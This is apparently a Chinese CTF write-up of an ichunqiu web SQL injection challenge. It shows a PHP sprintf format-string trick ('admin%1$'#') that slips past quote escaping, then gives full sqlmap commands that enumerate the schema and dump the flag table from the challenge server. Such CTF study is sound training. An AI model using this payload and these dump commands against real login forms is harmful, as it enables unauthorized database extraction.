[复现]ichunqiu“迎圣诞,拿大奖”活动赛题-web-SQLi

题目分析

由题目的名称明显本题是一道sql注入题

  • 尝试盲注、报错注入,猜闭合方式等,无果
  • 目录扫描,无果
  • 用户名为admin,尝试爆破登陆密码,无果
  • 密码未知

当用户名不正确时,会提示username error!。密码不正确时,提示password error!
由于手工测试没有效果,可能存在过滤或转义;这里对用户名进行fuzz
在这里插入图片描述

这里出现sprintf函数警告,查资料了解到,sprintf函数存在格式化字符串逃逸漏洞,由报错可以看出sprintf参数少于%的个数,需要使用占位符的写法,%1$可以逃逸引号的转义;

sprintf漏洞参考资料:[深入解析sprintf格式化字符串漏洞]

构造pyload

admin%1$'#

出现了密码错误的回显,说明拼接语句被执行了;而且是单引号闭合;接下里就是构造sql语句注出数据
在这里插入图片描述
测试发现没有回显,存在bool盲注、时间盲注;使用sqlmap来注入非常方便。
列举数据库系统的架构

sqlmap -u http://49902678ce30456fbc1b76d569658847efe45acb5e404f66.changame.ichunqiu.com/ --data="username=admin&password=123456" --param-del="&" -p username --prefix "%1$'" --suffix "#" -b -v3 --schema --exclude-sysdbs --batch --dbms=mysql

// 参数说明
--dbms=mysql // 表示指定数据库为mysql
--data="xxx" // 指定sqlmap用post方式提交数据
--param-del="&" //&来分割--data中的post参数 
-p // sqlmap默认测试所有的GET和POST参数,使用-p指明想要测试的参数
--prefix "xxx"  // 在pyload的前面加上指定内容
--suffix "xxx"  // 在pyload后面加上指定内容
--batch  //用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。
--exclude-sysdbs //列举除系统库外的库表结构
-v3 //指定sqlmap输出信息的详细程度为3级,此时sqlmap将会输出注入的payload,默认等级为1

在这里插入图片描述
flag在ctf库的flag表里面,获取表内容:

sqlmap -u http://49902678ce30456fbc1b76d569658847efe45acb5e404f66.changame.ichunqiu.com/ --data="username=admin&password=123456" --param-del="&" -p username --prefix "%1$'" --suffix "#" -v3  --batch --dbms=mysql -T flag --dump

// 参数说明
-T flag // 指定当前库的flag表,这里省略了-D参数,默认是当前库
--dump  // 获取内容,这里获取flag表的所有内容

在这里插入图片描述

个人收获

1.sprinf字符串逃逸漏洞使用%来触发
2. 使用sqlmap实现自定义post注入

参考资料

1.[深入解析sprintf格式化字符串漏洞]
https://blog.csdn.net/weixin_41185953/article/details/80485075
2. [sprintf的文档]
https://www.runoob.com/php/func-string-sprintf.html
3. [php sprintf格式化注入]
https://www.cnblogs.com/nul1/p/9374422.html
4.[sqlmap用户手册]
https://www.secpulse.com/archives/4213.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值